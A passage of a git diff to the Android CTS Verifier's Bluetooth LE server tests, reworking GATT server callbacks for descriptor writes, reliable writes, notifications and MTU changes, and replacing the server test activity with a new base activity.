+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+            }
         }
 
         @Override
         public void onDescriptorReadRequest(BluetoothDevice device, int requestId,
                 int offset, BluetoothGattDescriptor descriptor) {
             if (mGattServer == null) {
-                if (DEBUG) Log.d(TAG, "GattServer is null, return");
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
                 return;
             }
-            if (DEBUG) Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
-                                  + (descriptor == getDescriptor()));
+                if (DEBUG) {
+                Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
+                        + (descriptor == getDescriptor()));
+            }
 
-            notifyDescriptorReadRequest();
-            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0,
-                                     descriptor.getValue());
+            UUID uid = descriptor.getUuid();
+            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+                notifyDescriptorReadRequestNeedEncrypted();
+            } else {
+                notifyDescriptorReadRequest();
+            }
+
+            byte[] value = descriptor.getValue();
+            if (value == null) {
+                throw new RuntimeException("descriptor data read is null");
+            }
+
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
         }
 
         @Override
@@ -351,35 +1102,139 @@
                 boolean preparedWrite, boolean responseNeeded,
                 int offset,  byte[] value) {
             if (mGattServer == null) {
-                if (DEBUG) Log.d(TAG, "GattServer is null, return");
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
                 return;
             }
-            if (DEBUG) Log.d(TAG, "onDescriptorWriteRequest(): (descriptor == getDescriptor())="
-                                  + (descriptor == getDescriptor()));
+            BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "   characteristic uuid = " + uid);
+            }
 
-            notifyDescriptorWriteRequest();
             descriptor.setValue(value);
-            if (responseNeeded)
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);
+            UUID duid = descriptor.getUuid();
+            // If there is a written request to the CCCD for Notify.
+            if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
+                if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
+                    mGattServer.notifyCharacteristicChanged(mDevice, descriptor.getCharacteristic(), false);
+                    mIndicated = false;
+                } else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
+                    mGattServer.notifyCharacteristicChanged(mDevice, descriptor.getCharacteristic(), true);
+                    mIndicated = true;
+                }
+            } else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
+                // verify
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                    notifyDescriptorWriteRequestNeedEncrypted();
+                } else {
+                    showMessage("Written data is not correct");
+                }
+            } else {
+                // verify
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                    notifyDescriptorWriteRequest();
+                } else {
+                    showMessage("Written data is not correct");
+                }
+            }
+            if (responseNeeded) {
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+            }
         }
 
         @Override
         public void onExecuteWrite(BluetoothDevice device, int requestId, boolean execute) {
             if (mGattServer == null) {
-                if (DEBUG) Log.d(TAG, "GattServer is null, return");
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
                 return;
             }
-            if (DEBUG) Log.d(TAG, "onExecuteWrite");
-            if (execute) {
-                notifyExecuteWrite();
-                getCharacteristic(CHARACTERISTIC_UUID).setValue(mReliableWriteValue);
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);
+            if (DEBUG) {
+                Log.d(TAG, "onExecuteWrite");
             }
+
+            if (execute) {
+                if (mCountMtuChange > 0) {
+                    onMtuTestDataReceive();
+                } else {
+                    // verify
+                    String str = BleClientService.WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE
+                            + BleClientService.WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE;
+                    if (str.equals(mReliableWriteValue)) {
+                        notifyExecuteWrite();
+                    } else {
+                        showMessage("Failed to receive data");
+                        Log.d(TAG, "Failed to receive data:" + mReliableWriteValue);
+                    }
+                }
+                mReliableWriteValue = "";
+            }
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);
+        }
+
+        @Override
+        public void onNotificationSent(BluetoothDevice device, int status) {
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onNotificationSent");
+            }
+
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (mIndicated) {
+                    notifyCharacteristicIndicationRequest();
+                } else {
+                    mNotifyCount--;
+                    if (mNotifyCount == 0) {
+                        notifyCharacteristicNotificationRequest();
+                    }
+                }
+            }
+        }
+
+        @Override
+        public void onMtuChanged(BluetoothDevice device, int mtu) {
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onMtuChanged");
+            }
+
+            mMtuSize = mtu;
+            if (mCountMtuChange == 0) {
+                if (mtu != 23) {
+                    String msg = String.format(getString(R.string.ble_mtu_mismatch_message),
+                            23, mtu);
+                    showMessage(msg);
+                }
+            } else if (mCountMtuChange == 1) {
+                if (mtu != 512) {
+                    String msg = String.format(getString(R.string.ble_mtu_mismatch_message),
+                            512, mtu);
+                    showMessage(msg);
+                }
+            }
+            mMtuTestReceivedData = "";
+            ++mCountMtuChange;
         }
     };
 
     private void startAdvertise() {
-        if (DEBUG) Log.d(TAG, "startAdvertise");
+        if (DEBUG) {
+            Log.d(TAG, "startAdvertise");
+        }
         AdvertiseData data = new AdvertiseData.Builder()
             .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
             .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
@@ -393,10 +1248,67 @@
     }
 
     private void stopAdvertise() {
-        if (DEBUG) Log.d(TAG, "stopAdvertise");
-        mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        if (DEBUG) {
+            Log.d(TAG, "stopAdvertise");
+        }
+        if (mAdvertiser != null) {
+            mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        }
     }
 
-    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){};
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+        @Override
+        public void onStartFailure(int errorCode) {
+            // Implementation for API Test.
+            super.onStartFailure(errorCode);
+            if (DEBUG) {
+                Log.d(TAG, "onStartFailure");
+            }
+
+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+                notifyAdvertiseUnsupported();
+            } else {
+                notifyOpenFail();
+            }
+        }
+
+        @Override
+        public void onStartSuccess(AdvertiseSettings settingsInEffect) {
+            // Implementation for API Test.
+            super.onStartSuccess(settingsInEffect);
+            if (DEBUG) {
+                Log.d(TAG, "onStartSuccess");
+            }
+        }
+    };
+
+    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+        String indent = "";
+        for (int i = 0; i < level; ++i) {
+            indent += "  ";
+        }
+
+        Log.d(TAG, indent + "[service]");
+        Log.d(TAG, indent + "UUID: " + service.getUuid());
+        Log.d(TAG, indent + "  [characteristics]");
+        for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
+            Log.d(TAG, indent + "    UUID: " + ch.getUuid());
+            Log.d(TAG, indent + "      properties: " + String.format("0x%02X", ch.getProperties()));
+            Log.d(TAG, indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG, indent + "      [descriptors]");
+            for (BluetoothGattDescriptor d : ch.getDescriptors()) {
+                Log.d(TAG, indent + "        UUID: " + d.getUuid());
+                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X", d.getPermissions()));
+            }
+        }
+
+        if (service.getIncludedServices() != null) {
+            Log.d(TAG, indent + "  [included services]");
+            for (BluetoothGattService s : service.getIncludedServices()) {
+                dumpService(s, level+1);
+            }
+        }
+    }
+
 }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerStartActivity.java
deleted file mode 100644
index e8e35d5..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerStartActivity.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.bluetooth;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.BaseAdapter;
-import android.widget.ImageView;
-import android.widget.ListView;
-import android.widget.TextView;
-import android.widget.Toast;
-
-public class BleServerStartActivity extends PassFailButtons.Activity {
-
-    private TestAdapter mTestAdapter;
-    private int mAllPassed;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_server_start);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.ble_server_start_name,
-                         R.string.ble_server_start_info, -1);
-        getPassButton().setEnabled(false);
-
-        mTestAdapter = new TestAdapter(this, setupTestList());
-        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
-        listView.setAdapter(mTestAdapter);
-
-        mAllPassed = 0;
-        startService(new Intent(this, BleServerService.class));
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BleServerService.BLE_SERVICE_ADDED);
-        filter.addAction(BleServerService.BLE_SERVER_CONNECTED);
-        filter.addAction(BleServerService.BLE_CHARACTERISTIC_READ_REQUEST);
-        filter.addAction(BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST);
-        filter.addAction(BleServerService.BLE_DESCRIPTOR_READ_REQUEST);
-        filter.addAction(BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST);
-        filter.addAction(BleServerService.BLE_EXECUTE_WRITE);
-        filter.addAction(BleServerService.BLE_SERVER_DISCONNECTED);
-        filter.addAction(BleServerService.BLE_OPEN_FAIL);
-        registerReceiver(onBroadcast, filter);
-    }
-
-    @Override
-    public void onPause() {
-        super.onPause();
-        unregisterReceiver(onBroadcast);
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        stopService(new Intent(this, BleServerService.class));
-    }
-
-    private List<Integer> setupTestList() {
-        ArrayList<Integer> testList = new ArrayList<Integer>();
-        testList.add(R.string.ble_server_add_service);
-        testList.add(R.string.ble_server_receiving_connect);
-        testList.add(R.string.ble_server_read_characteristic);
-        testList.add(R.string.ble_server_write_characteristic);
-        testList.add(R.string.ble_server_read_descriptor);
-        testList.add(R.string.ble_server_write_descriptor);
-        testList.add(R.string.ble_server_reliable_write);
-        testList.add(R.string.ble_server_receiving_disconnect);
-        return testList;
-    }
-
-    private BroadcastReceiver onBroadcast = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (action == BleServerService.BLE_SERVICE_ADDED) {
-                mTestAdapter.setTestPass(0);
-                mAllPassed |= 0x01;
-            } else if (action == BleServerService.BLE_SERVER_CONNECTED) {
-                mTestAdapter.setTestPass(1);
-                mAllPassed |= 0x02;
-            } else if (action == BleServerService.BLE_CHARACTERISTIC_READ_REQUEST) {
-                mTestAdapter.setTestPass(2);
-                mAllPassed |= 0x04;
-            } else if (action == BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST) {
-                mTestAdapter.setTestPass(3);
-                mAllPassed |= 0x08;
-            } else if (action == BleServerService.BLE_DESCRIPTOR_READ_REQUEST) {
-                mTestAdapter.setTestPass(4);
-                mAllPassed |= 0x10;
-            } else if (action == BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST) {
-                mTestAdapter.setTestPass(5);
-                mAllPassed |= 0x20;
-            } else if (action == BleServerService.BLE_EXECUTE_WRITE) {
-                mTestAdapter.setTestPass(6);
-                mAllPassed |= 0x40;
-            } else if (action == BleServerService.BLE_SERVER_DISCONNECTED) {
-                mTestAdapter.setTestPass(7);
-                mAllPassed |= 0x80;
-            } else if (action == BleServerService.BLE_OPEN_FAIL) {
-                setTestResultAndFinish(false);
-                runOnUiThread(new Runnable() {
-                    @Override
-                    public void run() {
-                        Toast.makeText(BleServerStartActivity.this, "Cannot open GattService",
-                                Toast.LENGTH_SHORT).show();
-                    }
-                });
-            }
-            mTestAdapter.notifyDataSetChanged();
-            if (mAllPassed == 0xFF) getPassButton().setEnabled(true);
-        }
-    };
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
new file mode 100644
index 0000000..c58ee46
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.widget.ListView;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleServerTestBaseActivity extends PassFailButtons.Activity {
+
+    private static final int PASS_FLAG_ADD_SERVICE = 0x1;
+    private static final int PASS_FLAG_CONNECT = 0x2;
+    private static final int PASS_FLAG_READ_CHARACTERISTIC = 0x4;
+    private static final int PASS_FLAG_WRITE_CHARACTERISTIC = 0x8;
+    private static final int PASS_FLAG_READ_DESCRIPTOR = 0x10;
+    private static final int PASS_FLAG_WRITE_DESCRIPTOR = 0x20;
+    private static final int PASS_FLAG_WRITE = 0x40;
+    private static final int PASS_FLAG_DISCONNECT = 0x80;
+    private static final int PASS_FLAG_NOTIFY_CHARACTERISTIC = 0x100;
+    private static final int PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION = 0x200;
+    private static final int PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION = 0x400;
+    private static final int PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION = 0x800;
+    private static final int PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION = 0x1000;
+    private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x2000;
+    private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
+    private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x8000;
+    private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x10000;
+    private static final int PASS_FLAG_ALL = 0x1FFFF;
+
+    private final int BLE_SERVICE_ADDED = 0;
+    private final int BLE_SERVER_CONNECTED = 1;
+    private final int BLE_CHARACTERISTIC_READ_REQUEST = 2;
+    private final int BLE_CHARACTERISTIC_WRITE_REQUEST = 3;
+    private final int BLE_SERVER_MTU_23BYTES = 4;
+    private final int BLE_SERVER_MTU_512BYTES = 5;
+    private final int BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION = 6;
+    private final int BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION = 7;
+    private final int BLE_EXECUTE_WRITE = 8;
+    private final int BLE_EXECUTE_WRITE_BAD_RESP = 9;
+    private final int BLE_CHARACTERISTIC_NOTIFICATION_REQUEST = 9;  //10;
+    private final int BLE_CHARACTERISTIC_INDICATE_REQUEST = 10; //11;
+    private final int BLE_DESCRIPTOR_READ_REQUEST = 11; //12;
+    private final int BLE_DESCRIPTOR_WRITE_REQUEST = 12;    //13;
+    private final int BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION = 13;  //14;
+    private final int BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION = 14; //15;
+    private final int BLE_SERVER_DISCONNECTED = 15; //16;
+    private final int BLE_OPEN_FAIL = 16;   //17;
+
+    private TestAdapter mTestAdapter;
+    private long mAllPassed;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_server_start_name,
+                         R.string.ble_server_start_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+//        mAllPassed = 0;
+        // skip Reliable write (bad response) test
+        mAllPassed = PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BleServerService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleServerService.BLE_SERVICE_ADDED);
+        filter.addAction(BleServerService.BLE_SERVER_CONNECTED);
+        filter.addAction(BleServerService.BLE_MTU_REQUEST_23BYTES);
+        filter.addAction(BleServerService.BLE_MTU_REQUEST_512BYTES);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_READ_REQUEST);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_NOTIFICATION_REQUEST);
+        filter.addAction(BleServerService.BLE_CHARACTERISTIC_INDICATE_REQUEST);
+        filter.addAction(BleServerService.BLE_DESCRIPTOR_READ_REQUEST);
+        filter.addAction(BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST);
+        filter.addAction(BleServerService.BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION);
+        filter.addAction(BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION);
+        filter.addAction(BleServerService.BLE_EXECUTE_WRITE);
+        filter.addAction(BleServerService.BLE_RELIABLE_WRITE_BAD_RESP);
+        filter.addAction(BleServerService.BLE_SERVER_DISCONNECTED);
+        filter.addAction(BleServerService.BLE_OPEN_FAIL);
+        filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
+        filter.addAction(BleServerService.BLE_ADD_SERVICE_FAIL);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_server_add_service);
+        testList.add(R.string.ble_server_receiving_connect);
+        testList.add(R.string.ble_server_read_characteristic);
+        testList.add(R.string.ble_server_write_characteristic);
+        testList.add(R.string.ble_server_mtu_23bytes);
+        testList.add(R.string.ble_server_mtu_512bytes);
+        testList.add(R.string.ble_server_read_characteristic_without_permission);
+        testList.add(R.string.ble_server_write_characteristic_without_permission);
+        testList.add(R.string.ble_server_reliable_write);
+//        testList.add(R.string.ble_server_reliable_write_bad_resp);
+        testList.add(R.string.ble_server_notify_characteristic);
+        testList.add(R.string.ble_server_indicate_characteristic);
+        testList.add(R.string.ble_server_read_descriptor);
+        testList.add(R.string.ble_server_write_descriptor);
+        testList.add(R.string.ble_server_read_descriptor_without_permission);
+        testList.add(R.string.ble_server_write_descriptor_without_permission);
+        testList.add(R.string.ble_server_receiving_disconnect);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            switch (action) {
+            case BleServerService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+            case BleServerService.BLE_SERVICE_ADDED:
+                mTestAdapter.setTestPass(BLE_SERVICE_ADDED);
+                mAllPassed |= PASS_FLAG_ADD_SERVICE;
+                break;
+            case BleServerService.BLE_SERVER_CONNECTED:
+                mTestAdapter.setTestPass(BLE_SERVER_CONNECTED);
+                mAllPassed |= PASS_FLAG_CONNECT;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_READ_REQUEST:
+                // Sometimes server returns incorrect pairing status.
+                // And it causes the mismatch of pairing status and connection status.
+                // So consider the connection went well if reading characteristic went well.
+                mTestAdapter.setTestPass(BLE_SERVER_CONNECTED);
+                mAllPassed |= PASS_FLAG_CONNECT;
+
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_READ_REQUEST);
+                mAllPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST:
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_WRITE_REQUEST);
+                mAllPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+                break;
+            case BleServerService.BLE_DESCRIPTOR_READ_REQUEST:
+                mTestAdapter.setTestPass(BLE_DESCRIPTOR_READ_REQUEST);
+                mAllPassed |= PASS_FLAG_READ_DESCRIPTOR;
+                break;
+            case BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST:
+                mTestAdapter.setTestPass(BLE_DESCRIPTOR_WRITE_REQUEST);
+                mAllPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+                break;
+            case BleServerService.BLE_EXECUTE_WRITE:
+                mTestAdapter.setTestPass(BLE_EXECUTE_WRITE);
+                mAllPassed |= PASS_FLAG_WRITE;
+                break;
+            case BleServerService.BLE_RELIABLE_WRITE_BAD_RESP:
+                mTestAdapter.setTestPass(BLE_EXECUTE_WRITE_BAD_RESP);
+                mAllPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                break;
+            case BleServerService.BLE_SERVER_DISCONNECTED:
+                mTestAdapter.setTestPass(BLE_SERVER_DISCONNECTED);
+                mAllPassed |= PASS_FLAG_DISCONNECT;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_NOTIFICATION_REQUEST:
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_NOTIFICATION_REQUEST);
+                mAllPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION:
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION);
+                mAllPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION:
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION);
+                mAllPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                break;
+            case BleServerService.BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION:
+                mTestAdapter.setTestPass(BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION);
+                mAllPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+                break;
+            case BleServerService.BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION:
+                mTestAdapter.setTestPass(BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION);
+                mAllPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+                break;
+            case BleServerService.BLE_CHARACTERISTIC_INDICATE_REQUEST:
+                mTestAdapter.setTestPass(BLE_CHARACTERISTIC_INDICATE_REQUEST);
+                mAllPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+                break;
+            case BleServerService.BLE_MTU_REQUEST_23BYTES:
+                mTestAdapter.setTestPass(BLE_SERVER_MTU_23BYTES);
+                mAllPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+                break;
+            case BleServerService.BLE_MTU_REQUEST_512BYTES:
+                mTestAdapter.setTestPass(BLE_SERVER_MTU_512BYTES);
+                mAllPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+                break;
+            case BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+            case BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:
+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+                break;
+            case BleServerService.BLE_OPEN_FAIL:
+                setTestResultAndFinish(false);
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        Toast.makeText(BleServerTestBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+                    }
+                });
+                break;
+            case BleServerService.BLE_ADD_SERVICE_FAIL:
+                showErrorDialog(R.string.bt_add_service_failed_title, R.string.bt_add_service_failed_message, true);
+                break;
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+            if (mAllPassed == PASS_FLAG_ALL) getPassButton().setEnabled(true);
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
index df70984..3477870 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
@@ -16,14 +16,14 @@
 
 package com.android.cts.verifier.bluetooth;
 
-import com.android.cts.verifier.ManifestTestListAdapter;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
 import android.bluetooth.BluetoothAdapter;
 import android.os.Bundle;
 import android.widget.Toast;
 
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 import java.util.ArrayList;
 import java.util.List;
 
@@ -54,14 +54,20 @@
             disabledTestArray.add(
                   "com.android.cts.verifier.bluetooth.BleClientTestActivity");
             disabledTestArray.add(
-                  "com.android.cts.verifier.bluetooth.BleServerStartActivity");
+                  "com.android.cts.verifier.bluetooth.BleServerTestBaseActivity");
+            disabledTestArray.add(
+                  "com.android.cts.verifier.bluetooth.BleConnectionPriorityServerBaseActivity");
+            disabledTestArray.add(
+                  "com.android.cts.verifier.bluetooth.BleConnectionPriorityClientBaseActivity");
         } else if (!bluetoothAdapter.isMultipleAdvertisementSupported()) {
             disabledTestArray.add(
                   "com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity");
             disabledTestArray.add(
-                  "com.android.cts.verifier.bluetooth.BleServerStartActivity");
+                  "com.android.cts.verifier.bluetooth.BleServerTestBaseActivity");
             disabledTestArray.add(
                   "com.android.cts.verifier.bluetooth.BleScannerTestActivity");
+            disabledTestArray.add(
+                  "com.android.cts.verifier.bluetooth.BleConnectionPriorityServerBaseActivity");
         }
         setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
                 disabledTestArray.toArray(new String[disabledTestArray.size()])));
